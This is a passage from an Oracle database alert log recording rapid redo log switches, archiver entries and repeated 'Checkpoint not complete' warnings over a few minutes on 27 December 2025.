/u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:06:00.219248+08:00 ARC2 (PID:1869): Archived Log entry 2232 added for T-1.S-2236 ID 0x75f9c04b LAD:1 2025-12-27T23:06:00.257116+08:00 Thread 1 cannot allocate new log, sequence 2238 Checkpoint not complete Current log# 3 seq# 2237 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:06:03.293332+08:00 Thread 1 advanced to log sequence 2238 (LGWR switch) Current log# 1 seq# 2238 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:06:03.344466+08:00 ARC3 (PID:1871): Archived Log entry 2233 added for T-1.S-2237 ID 0x75f9c04b LAD:1 2025-12-27T23:06:03.386678+08:00 Thread 1 cannot allocate new log, sequence 2239 Checkpoint not complete Current log# 1 seq# 2238 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:06:06.400965+08:00 Thread 1 advanced to log sequence 2239 (LGWR switch) Current log# 2 seq# 2239 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:06:06.447765+08:00 ARC0 (PID:1861): Archived Log entry 2234 added for T-1.S-2238 ID 0x75f9c04b LAD:1 2025-12-27T23:06:06.488222+08:00 Thread 1 cannot allocate new log, sequence 2240 Checkpoint not complete Current log# 2 seq# 2239 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:06:09.555415+08:00 Thread 1 advanced to log sequence 2240 (LGWR switch) Current log# 3 seq# 2240 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:06:09.610539+08:00 ARC1 (PID:1867): Archived Log entry 2235 added for T-1.S-2239 ID 0x75f9c04b LAD:1 2025-12-27T23:06:09.645335+08:00 Thread 1 cannot allocate new log, sequence 2241 Checkpoint not complete Current log# 3 seq# 2240 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:06:12.747536+08:00 Thread 1 advanced to log sequence 2241 (LGWR switch) Current log# 1 seq# 2241 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:06:12.796166+08:00 ARC2 (PID:1869): Archived Log entry 2236 added for T-1.S-2240 ID 0x75f9c04b LAD:1 2025-12-27T23:06:12.840732+08:00 Thread 1 cannot allocate new log, sequence 2242 Checkpoint not complete Current log# 1 seq# 2241 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:06:15.859147+08:00 Thread 1 advanced to log sequence 2242 (LGWR switch) Current log# 2 seq# 2242 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:06:15.904650+08:00 ARC3 (PID:1871): Archived Log entry 2237 added for T-1.S-2241 ID 0x75f9c04b LAD:1 2025-12-27T23:06:15.941701+08:00 Thread 1 cannot allocate new log, sequence 2243 Checkpoint not complete Current log# 2 seq# 2242 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:06:18.993894+08:00 Thread 1 advanced to log sequence 2243 (LGWR switch) Current log# 3 seq# 2243 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:06:19.034909+08:00 ARC0 (PID:1861): Archived Log entry 2238 added for T-1.S-2242 ID 0x75f9c04b LAD:1 2025-12-27T23:06:19.076469+08:00 Thread 1 cannot allocate new log, sequence 2244 Checkpoint not complete Current log# 3 seq# 2243 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:06:22.066430+08:00 Thread 1 advanced to log sequence 2244 (LGWR switch) Current log# 1 seq# 2244 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:06:22.111591+08:00 ARC1 (PID:1867): Archived Log entry 2239 added for T-1.S-2243 ID 0x75f9c04b LAD:1 2025-12-27T23:06:22.156513+08:00 Thread 1 cannot allocate new log, sequence 2245 Checkpoint not complete Current log# 1 seq# 2244 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:06:25.087931+08:00 Thread 1 advanced to log sequence 2245 (LGWR switch) Current log# 2 seq# 2245 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:06:25.119756+08:00 ARC2 (PID:1869): Archived Log entry 2240 added for T-1.S-2244 ID 0x75f9c04b LAD:1 2025-12-27T23:06:25.168817+08:00 Thread 1 cannot allocate new log, sequence 2246 Checkpoint not complete Current log# 2 seq# 2245 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:06:28.280132+08:00 Thread 1 advanced to log sequence 2246 (LGWR switch) Current log# 3 seq# 2246 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:06:28.327335+08:00 ARC3 (PID:1871): Archived Log entry 2241 added for T-1.S-2245 ID 0x75f9c04b LAD:1 2025-12-27T23:06:28.384289+08:00 Thread 1 cannot allocate new log, sequence 2247 Checkpoint not complete Current log# 3 seq# 2246 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:06:31.369607+08:00 Thread 1 advanced to log sequence 2247 (LGWR switch) Current log# 1 seq# 2247 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:06:31.424811+08:00 ARC0 (PID:1861): Archived Log entry 2242 added for T-1.S-2246 ID 0x75f9c04b LAD:1 2025-12-27T23:06:31.457701+08:00 Thread 1 cannot allocate new log, sequence 2248 Checkpoint not complete Current log# 1 seq# 2247 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:06:34.458222+08:00 Thread 1 advanced to log sequence 2248 (LGWR switch) Current log# 2 seq# 2248 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:06:34.504435+08:00 ARC1 (PID:1867): Archived Log entry 2243 added for T-1.S-2247 ID 0x75f9c04b LAD:1 2025-12-27T23:06:34.544074+08:00 Thread 1 cannot allocate new log, sequence 2249 Checkpoint not complete Current log# 2 seq# 2248 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:06:37.527797+08:00 Thread 1 advanced to log sequence 2249 (LGWR switch) Current log# 3 seq# 2249 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:06:37.571117+08:00 ARC2 (PID:1869): Archived Log entry 2244 added for T-1.S-2248 ID 0x75f9c04b LAD:1 2025-12-27T23:06:37.620207+08:00 Thread 1 cannot allocate new log, sequence 2250 Checkpoint not complete Current log# 3 seq# 2249 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:06:40.674341+08:00 Thread 1 advanced to log sequence 2250 (LGWR switch) Current log# 1 seq# 2250 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:06:40.710471+08:00 ARC3 (PID:1871): Archived Log entry 2245 added for T-1.S-2249 ID 0x75f9c04b LAD:1 2025-12-27T23:06:40.754168+08:00 Thread 1 cannot allocate new log, sequence 2251 Checkpoint not complete Current log# 1 seq# 2250 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:06:43.825003+08:00 Thread 1 advanced to log sequence 2251 (LGWR switch) Current log# 2 seq# 2251 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:06:43.872260+08:00 ARC0 (PID:1861): Archived Log entry 2246 added for T-1.S-2250 ID 0x75f9c04b LAD:1 2025-12-27T23:06:43.912998+08:00 Thread 1 cannot allocate new log, sequence 2252 Checkpoint not complete Current log# 2 seq# 2251 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:06:46.926284+08:00 Thread 1 advanced to log sequence 2252 (LGWR switch) Current log# 3 seq# 2252 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:06:46.976375+08:00 ARC1 (PID:1867): Archived Log entry 2247 added for T-1.S-2251 ID 0x75f9c04b LAD:1 2025-12-27T23:06:47.018097+08:00 Thread 1 cannot allocate new log, sequence 2253 Checkpoint not complete Current log# 3 seq# 2252 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:06:50.003263+08:00 Thread 1 advanced to log sequence 2253 (LGWR switch) Current log# 1 seq# 2253 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:06:50.055582+08:00 ARC2 (PID:1869): Archived Log entry 2248 added for T-1.S-2252 ID 0x75f9c04b LAD:1 2025-12-27T23:06:50.090842+08:00 Thread 1 cannot allocate new log, sequence 2254 Checkpoint not complete Current log# 1 seq# 2253 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:06:53.116945+08:00 Thread 1 advanced to log sequence 2254 (LGWR switch) Current log# 2 seq# 2254 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:06:53.162146+08:00 ARC3 (PID:1871): Archived Log entry 2249 added for T-1.S-2253 ID 0x75f9c04b LAD:1 2025-12-27T23:06:53.215657+08:00 Thread 1 cannot allocate new log, sequence 2255 Checkpoint not complete Current log# 2 seq# 2254 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:06:56.230526+08:00 Thread 1 advanced to log sequence 2255 (LGWR switch) Current log# 3 seq# 2255 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:06:56.285428+08:00 ARC0 (PID:1861): Archived Log entry 2250 added for T-1.S-2254 ID 0x75f9c04b LAD:1 2025-12-27T23:06:56.331237+08:00 Thread 1 cannot allocate new log, sequence 2256 Checkpoint not complete Current log# 3 seq# 2255 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:06:59.320850+08:00 Thread 1 advanced to log sequence 2256 (LGWR switch) Current log# 1 seq# 2256 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:06:59.367349+08:00 ARC1 (PID:1867): Archived Log entry 2251 added for T-1.S-2255 ID 0x75f9c04b LAD:1 2025-12-27T23:06:59.410658+08:00 Thread 1 cannot allocate new log, sequence 2257 Checkpoint not complete Current log# 1 seq# 2256 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:07:02.428754+08:00 Thread 1 advanced to log sequence 2257 (LGWR switch) Current log# 2 seq# 2257 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:07:02.475508+08:00 ARC2 (PID:1869): Archived Log entry 2252 added for T-1.S-2256 ID 0x75f9c04b LAD:1 2025-12-27T23:07:02.517972+08:00 Thread 1 cannot allocate new log, sequence 2258 Checkpoint not complete Current log# 2 seq# 2257 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:07:05.517488+08:00 Thread 1 advanced to log sequence 2258 (LGWR switch) Current log# 3 seq# 2258 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:07:05.563087+08:00 ARC3 (PID:1871): Archived Log entry 2253 added for T-1.S-2257 ID 0x75f9c04b LAD:1 2025-12-27T23:07:05.601220+08:00 Thread 1 cannot allocate new log, sequence 2259 Checkpoint not complete Current log# 3 seq# 2258 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:07:08.685788+08:00 Thread 1 advanced to log sequence 2259 (LGWR switch) Current log# 1 seq# 2259 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:07:08.731665+08:00 ARC0 (PID:1861): Archived Log entry 2254 added for T-1.S-2258 ID 0x75f9c04b LAD:1 2025-12-27T23:07:08.771965+08:00 Thread 1 cannot allocate new log, sequence 2260 Checkpoint not complete Current log# 1 seq# 2259 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:07:11.739278+08:00 Thread 1 advanced to log sequence 2260 (LGWR switch) Current log# 2 seq# 2260 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:07:11.792072+08:00 ARC1 (PID:1867): Archived Log entry 2255 added for T-1.S-2259 ID 0x75f9c04b LAD:1 2025-12-27T23:07:11.841376+08:00 Thread 1 cannot allocate new log, sequence 2261 Checkpoint not complete Current log# 2 seq# 2260 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:07:14.855452+08:00 Thread 1 advanced to log sequence 2261 (LGWR switch) Current log# 3 seq# 2261 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:07:14.905787+08:00 ARC2 (PID:1869): Archived Log entry 2256 added for T-1.S-2260 ID 0x75f9c04b LAD:1 2025-12-27T23:07:14.948458+08:00 Thread 1 cannot allocate new log, sequence 2262 Checkpoint not complete Current log# 3 seq# 2261 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:07:17.963886+08:00 Thread 1 advanced to log sequence 2262 (LGWR switch) Current log# 1 seq# 2262 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:07:17.996916+08:00 ARC3 (PID:1871): Archived Log entry 2257 added for T-1.S-2261 ID 0x75f9c04b LAD:1 2025-12-27T23:07:18.039813+08:00 Thread 1 cannot allocate new log, sequence 2263 Checkpoint not complete Current log# 1 seq# 2262 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:07:21.065099+08:00 Thread 1 advanced to log sequence 2263 (LGWR switch) Current log# 2 seq# 2263 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:07:21.111638+08:00 ARC0 (PID:1861): Archived Log entry 2258 added for T-1.S-2262 ID 0x75f9c04b LAD:1 2025-12-27T23:07:21.152598+08:00 Thread 1 cannot allocate new log, sequence 2264 Checkpoint not complete Current log# 2 seq# 2263 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:07:24.169446+08:00 Thread 1 advanced to log sequence 2264 (LGWR switch) Current log# 3 seq# 2264 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:07:24.194872+08:00 ARC1 (PID:1867): Archived Log entry 2259 added for T-1.S-2263 ID 0x75f9c04b LAD:1 2025-12-27T23:07:24.250286+08:00 Thread 1 cannot allocate new log, sequence 2265 Checkpoint not complete Current log# 3 seq# 2264 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:07:27.214758+08:00 Thread 1 advanced to log sequence 2265 (LGWR switch) Current log# 1 seq# 2265 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:07:27.246424+08:00 ARC2 (PID:1869): Archived Log entry 2260 added for T-1.S-2264 ID 0x75f9c04b LAD:1 2025-12-27T23:07:27.289831+08:00 Thread 1 cannot allocate new log, sequence 2266 Checkpoint not complete Current log# 1 seq# 2265 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:07:37.784423+08:00 Thread 1 advanced to log sequence 2266 (LGWR switch) Current log# 2 seq# 2266 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:07:37.830299+08:00 ARC3 (PID:1871): Archived Log entry 2261 added for T-1.S-2265 ID 0x75f9c04b LAD:1 2025-12-27T23:07:37.872952+08:00 Thread 1 cannot allocate new log, sequence 2267 Checkpoint not complete Current log# 2 seq# 2266 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:07:41.104128+08:00 Thread 1 advanced to log sequence 2267 (LGWR switch) Current log# 3 seq# 2267 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:07:41.145728+08:00 ARC0 (PID:1861): Archived Log entry 2262 added for T-1.S-2266 ID 0x75f9c04b LAD:1 2025-12-27T23:07:41.192237+08:00 Thread 1 cannot allocate new log, sequence 2268 Checkpoint not complete Current log# 3 seq# 2267 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:07:44.233129+08:00 Thread 1 advanced to log sequence 2268 (LGWR switch) Current log# 1 seq# 2268 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:07:44.278709+08:00 ARC1 (PID:1867): Archived Log entry 2263 added for T-1.S-2267 ID 0x75f9c04b LAD:1 2025-12-27T23:07:44.317382+08:00 Thread 1 cannot allocate new log, sequence 2269 Checkpoint not complete Current log# 1 seq# 2268 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:07:47.304854+08:00 Thread 1 advanced to log sequence 2269 (LGWR switch) Current log# 2 seq# 2269 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:07:47.347787+08:00 ARC2 (PID:1869): Archived Log entry 2264 added for T-1.S-2268 ID 0x75f9c04b LAD:1 2025-12-27T23:07:47.391717+08:00 Thread 1 cannot allocate new log, sequence 2270 Checkpoint not complete Current log# 2 seq# 2269 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:07:50.409800+08:00 Thread 1 advanced to log sequence 2270 (LGWR switch) Current log# 3 seq# 2270 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:07:50.456417+08:00 ARC3 (PID:1871): Archived Log entry 2265 added for T-1.S-2269 ID 0x75f9c04b LAD:1 2025-12-27T23:07:50.501641+08:00 Thread 1 cannot allocate new log, sequence 2271 Checkpoint not complete Current log# 3 seq# 2270 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:07:53.578766+08:00 Thread 1 advanced to log sequence 2271 (LGWR switch) Current log# 1 seq# 2271 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:07:53.648040+08:00 ARC0 (PID:1861): Archived Log entry 2266 added for T-1.S-2270 ID 0x75f9c04b LAD:1 2025-12-27T23:07:53.684356+08:00 Thread 1 cannot allocate new log, sequence 2272 Checkpoint not complete Current log# 1 seq# 2271 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:07:56.655035+08:00 Thread 1 advanced to log sequence 2272 (LGWR switch) Current log# 2 seq# 2272 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:07:56.702631+08:00 ARC1 (PID:1867): Archived Log entry 2267 added for T-1.S-2271 ID 0x75f9c04b LAD:1 2025-12-27T23:07:56.746595+08:00 Thread 1 cannot allocate new log, sequence 2273 Checkpoint not complete Current log# 2 seq# 2272 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:07:59.770286+08:00 Thread 1 advanced to log sequence 2273 (LGWR switch) Current log# 3 seq# 2273 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:07:59.814639+08:00 ARC2 (PID:1869): Archived Log entry 2268 added for T-1.S-2272 ID 0x75f9c04b LAD:1 2025-12-27T23:07:59.864764+08:00 Thread 1 cannot allocate new log, sequence 2274 Checkpoint not complete Current log# 3 seq# 2273 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:08:02.961466+08:00 Thread 1 advanced to log sequence 2274 (LGWR switch) Current log# 1 seq# 2274 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:08:02.991027+08:00 ARC3 (PID:1871): Archived Log entry 2269 added for T-1.S-2273 ID 0x75f9c04b LAD:1 2025-12-27T23:08:03.033376+08:00 Thread 1 cannot allocate new log, sequence 2275 Checkpoint not complete Current log# 1 seq# 2274 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:08:06.124801+08:00 Thread 1 advanced to log sequence 2275 (LGWR switch) Current log# 2 seq# 2275 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:08:06.169787+08:00 ARC0 (PID:1861): Archived Log entry 2270 added for T-1.S-2274 ID 0x75f9c04b LAD:1 2025-12-27T23:08:06.211151+08:00 Thread 1 cannot allocate new log, sequence 2276 Checkpoint not complete Current log# 2 seq# 2275 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:08:09.299622+08:00 Thread 1 advanced to log sequence 2276 (LGWR switch) Current log# 3 seq# 2276 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:08:09.348439+08:00 ARC1 (PID:1867): Archived Log entry 2271 added for T-1.S-2275 ID 0x75f9c04b LAD:1 2025-12-27T23:08:09.386204+08:00 Thread 1 cannot allocate new log, sequence 2277 Checkpoint not complete Current log# 3 seq# 2276 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:08:12.400293+08:00 Thread 1 advanced to log sequence 2277 (LGWR switch) Current log# 1 seq# 2277 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:08:12.445011+08:00 ARC2 (PID:1869): Archived Log entry 2272 added for T-1.S-2276 ID 0x75f9c04b LAD:1 2025-12-27T23:08:12.499836+08:00 Thread 1 cannot allocate new log, sequence 2278 Checkpoint not complete Current log# 1 seq# 2277 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:08:15.572226+08:00 Thread 1 advanced to log sequence 2278 (LGWR switch) Current log# 2 seq# 2278 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:08:15.618202+08:00 ARC3 (PID:1871): Archived Log entry 2273 added for T-1.S-2277 ID 0x75f9c04b LAD:1 2025-12-27T23:08:15.660296+08:00 Thread 1 cannot allocate new log, sequence 2279 Checkpoint not complete Current log# 2 seq# 2278 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:08:18.735349+08:00 Thread 1 advanced to log sequence 2279 (LGWR switch) Current log# 3 seq# 2279 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:08:18.789402+08:00 ARC0 (PID:1861): Archived Log entry 2274 added for T-1.S-2278 ID 0x75f9c04b LAD:1 2025-12-27T23:08:18.830986+08:00 Thread 1 cannot allocate new log, sequence 2280 Checkpoint not complete Current log# 3 seq# 2279 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:08:21.867953+08:00 Thread 1 advanced to log sequence 2280 (LGWR switch) Current log# 1 seq# 2280 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:08:21.916816+08:00 ARC1 (PID:1867): Archived Log entry 2275 added for T-1.S-2279 ID 0x75f9c04b LAD:1 2025-12-27T23:08:21.955173+08:00 Thread 1 cannot allocate new log, sequence 2281 Checkpoint not complete Current log# 1 seq# 2280 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:08:24.921356+08:00 Thread 1 advanced to log sequence 2281 (LGWR switch) Current log# 2 seq# 2281 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:08:24.949540+08:00 ARC2 (PID:1869): Archived Log entry 2276 added for T-1.S-2280 ID 0x75f9c04b LAD:1 2025-12-27T23:08:24.991646+08:00 Thread 1 cannot allocate new log, sequence 2282 Checkpoint not complete Current log# 2 seq# 2281 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:08:27.959870+08:00 Thread 1 advanced to log sequence 2282 (LGWR switch) Current log# 3 seq# 2282 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:08:27.983944+08:00 ARC3 (PID:1871): Archived Log entry 2277 added for T-1.S-2281 ID 0x75f9c04b LAD:1 2025-12-27T23:08:28.029221+08:00 Thread 1 cannot allocate new log, sequence 2283 Checkpoint not complete Current log# 3 seq# 2282 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:08:31.122237+08:00 Thread 1 advanced to log sequence 2283 (LGWR switch) Current log# 1 seq# 2283 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:08:31.166771+08:00 ARC0 (PID:1861): Archived Log entry 2278 added for T-1.S-2282 ID 0x75f9c04b LAD:1 2025-12-27T23:08:31.209516+08:00 Thread 1 cannot allocate new log, sequence 2284 Checkpoint not complete Current log# 1 seq# 2283 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:08:34.268887+08:00 Thread 1 advanced to log sequence 2284 (LGWR switch) Current log# 2 seq# 2284 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:08:34.313623+08:00 ARC1 (PID:1867): Archived Log entry 2279 added for T-1.S-2283 ID 0x75f9c04b LAD:1 2025-12-27T23:08:34.356909+08:00 Thread 1 cannot allocate new log, sequence 2285 Checkpoint not complete Current log# 2 seq# 2284 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:08:37.410608+08:00 Thread 1 advanced to log sequence 2285 (LGWR switch) Current log# 3 seq# 2285 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:08:37.455589+08:00 ARC2 (PID:1869): Archived Log entry 2280 added for T-1.S-2284 ID 0x75f9c04b LAD:1 2025-12-27T23:08:37.501193+08:00 Thread 1 cannot allocate new log, sequence 2286 Checkpoint not complete Current log# 3 seq# 2285 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:08:40.430956+08:00 Thread 1 advanced to log sequence 2286 (LGWR switch) Current log# 1 seq# 2286 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:08:40.478067+08:00 ARC3 (PID:1871): Archived Log entry 2281 added for T-1.S-2285 ID 0x75f9c04b LAD:1 2025-12-27T23:08:40.520039+08:00 Thread 1 cannot allocate new log, sequence 2287 Checkpoint not complete Current log# 1 seq# 2286 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:08:43.496444+08:00 Thread 1 advanced to log sequence 2287 (LGWR switch) Current log# 2 seq# 2287 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:08:43.557590+08:00 ARC0 (PID:1861): Archived Log entry 2282 added for T-1.S-2286 ID 0x75f9c04b LAD:1 2025-12-27T23:08:43.593283+08:00 Thread 1 cannot allocate new log, sequence 2288 Checkpoint not complete Current log# 2 seq# 2287 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:08:46.555995+08:00 Thread 1 advanced to log sequence 2288 (LGWR switch) Current log# 3 seq# 2288 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:08:46.605448+08:00 ARC1 (PID:1867): Archived Log entry 2283 added for T-1.S-2287 ID 0x75f9c04b LAD:1 2025-12-27T23:08:46.649296+08:00 Thread 1 cannot allocate new log, sequence 2289 Checkpoint not complete Current log# 3 seq# 2288 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:08:49.641245+08:00 Thread 1 advanced to log sequence 2289 (LGWR switch) Current log# 1 seq# 2289 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:08:49.685669+08:00 ARC2 (PID:1869): Archived Log entry 2284 added for T-1.S-2288 ID 0x75f9c04b LAD:1 2025-12-27T23:08:49.729261+08:00 Thread 1 cannot allocate new log, sequence 2290 Checkpoint not complete Current log# 1 seq# 2289 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:08:52.710527+08:00 Thread 1 advanced to log sequence 2290 (LGWR switch) Current log# 2 seq# 2290 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:08:52.734916+08:00 ARC3 (PID:1871): Archived Log entry 2285 added for T-1.S-2289 ID 0x75f9c04b LAD:1 2025-12-27T23:08:52.774533+08:00 Thread 1 cannot allocate new log, sequence 2291 Checkpoint not complete Current log# 2 seq# 2290 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:08:55.808733+08:00 Thread 1 advanced to log sequence 2291 (LGWR switch) Current log# 3 seq# 2291 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:08:55.857322+08:00 ARC0 (PID:1861): Archived Log entry 2286 added for T-1.S-2290 ID 0x75f9c04b LAD:1 2025-12-27T23:08:55.896399+08:00 Thread 1 cannot allocate new log, sequence 2292 Checkpoint not complete Current log# 3 seq# 2291 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:08:58.920339+08:00 Thread 1 advanced to log sequence 2292 (LGWR switch) Current log# 1 seq# 2292 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:08:58.971230+08:00 ARC1 (PID:1867): Archived Log entry 2287 added for T-1.S-2291 ID 0x75f9c04b LAD:1 2025-12-27T23:08:59.008810+08:00 Thread 1 cannot allocate new log, sequence 2293 Checkpoint not complete Current log# 1 seq# 2292 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:09:02.043400+08:00 Thread 1 advanced to log sequence 2293 (LGWR switch) Current log# 2 seq# 2293 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:09:02.099003+08:00 ARC2 (PID:1869): Archived Log entry 2288 added for T-1.S-2292 ID 0x75f9c04b LAD:1 2025-12-27T23:09:02.140524+08:00 Thread 1 cannot allocate new log, sequence 2294 Checkpoint not complete Current log# 2 seq# 2293 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:09:05.152804+08:00 Thread 1 advanced to log sequence 2294 (LGWR switch) Current log# 3 seq# 2294 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:09:05.206348+08:00 ARC3 (PID:1871): Archived Log entry 2289 added for T-1.S-2293 ID 0x75f9c04b LAD:1 2025-12-27T23:09:05.250502+08:00 Thread 1 cannot allocate new log, sequence 2295 Checkpoint not complete Current log# 3 seq# 2294 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:09:08.302038+08:00 Thread 1 advanced to log sequence 2295 (LGWR switch) Current log# 1 seq# 2295 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:09:08.353236+08:00 ARC0 (PID:1861): Archived Log entry 2290 added for T-1.S-2294 ID 0x75f9c04b LAD:1 2025-12-27T23:09:08.391042+08:00 Thread 1 cannot allocate new log, sequence 2296 Checkpoint not complete Current log# 1 seq# 2295 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:09:11.361734+08:00 Thread 1 advanced to log sequence 2296 (LGWR switch) Current log# 2 seq# 2296 mem# 0: 